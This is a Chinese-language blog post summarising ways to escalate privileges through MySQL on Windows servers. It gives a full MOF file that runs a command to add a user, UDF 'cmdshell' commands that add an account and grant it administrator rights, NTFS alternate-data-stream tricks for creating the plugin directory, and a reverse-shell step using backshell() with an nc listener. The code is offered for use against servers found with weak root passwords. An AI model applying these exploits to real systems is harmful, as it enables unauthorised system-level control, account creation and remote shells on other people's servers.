MYSQL提权总结
来源:互联网 发布:锁链战记wiki数据库 编辑:程序博客网 时间:2024/05/16 17:08
一、利用mof提权
前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
具体到mysql提权中,我们又该怎么利用呢?
1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。
01
#pragma
namespace
(
"\\\\.\\root\\subscription"
)
02
03
instance of __EventFilter
as
$EventFilter
04
{
05
EventNamespace =
"Root\\Cimv2"
;
06
Name =
"filtP2"
;
07
Query =
"Select * From __InstanceModificationEvent "
08
"Where TargetInstance Isa \"Win32_LocalTime\" "
09
"And TargetInstance.Second = 5"
;
10
QueryLanguage =
"WQL"
;
11
};
12
13
instance of ActiveScriptEventConsumer
as
$Consumer
14
{
15
Name =
"consPCSV2"
;
16
ScriptingEngine =
"JScript"
;
17
ScriptText =
18
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")"
;
19
};
20
21
instance of __FilterToConsumerBinding
22
{
23
Consumer =
$Consumer
;
24
Filter =
$EventFilter
;
25
};
其中的第18行的命令,上传前请自己更改。
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
1
select
load_file(
'C:/wmpub/nullevt.mof'
)
into
dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof'
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
二、利用UDF提权
udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2、创建相应的函数并执行命令,具体如下:
1
create
function
cmdshell
returns
string soname
'udf.dll'
;
2
select
cmdshell(
'net user waitalone waitalone.cn /add'
);
3
select
cmdshell(
'net localgroup administrators waitalone /add'
);
4
drop
function
cmdshell; 删除函数
5
delete
from
mysql.func
where
name
=
'cmdshell'
删除函数
3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
1
select
@@basedir;
2
//查找到mysql的目录
3
select
'It is dll'
into
dumpfile
'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'
;
4
//利用NTFS ADS创建lib目录
5
select
'It is dll'
into
dumpfile
'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'
;
6
//利用NTFS ADS创建plugin目录
执行成功以后再进行导出即可。
三、反弹端口连接提权
假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
1
mysql.exe -h 172.16.10.11 -uroot -p
2
Enter password:
3
mysql> \. c:\mysql.txt
4
mysql>
select
backshell(
"YourIP"
,2010);
2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权
mysql_反弹udf.rar
http://pan.baidu.com/share/link?shareid=3689997446&uk=2466540631- Mysql提权总结
- MYSQL提权总结
- MYSQL提权总结
- mysql提权总结方法四则
- MySQL总结
- MySQL 总结
- mysql总结
- MySql总结
- MySQL总结
- mysql 总结
- mysql总结
- Mysql总结
- mysql总结
- Mysql总结
- mysql总结
- Mysql总结
- mysql 总结
- mysql 总结
- 游戏模块分析总结(3)之引导篇
- 自动化在集成测试中的应用
- Java核心技术之字符串,数组,数组工具类
- Android中的style,attr,theme
- delphi TEdit onchange 光标位置不对
- MYSQL提权总结
- 未能加载文件或程序集“System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856
- 逻辑回归(logistic regression)
- 三次样条插值(Cubic Spline Interpolation)及代码实现(C语言)
- node.js webservice
- 跟着BOY 学习COCOS2D-X 网络篇---强联网(采用技术 BSD SOCKET+多线程技术 +protobuf)客户端实战篇
- 关于HTTP提交方式之PUT
- android打印调用栈的方法
- C++ Primer 9.35——循环遍历vector容器删除指定元素的标准写法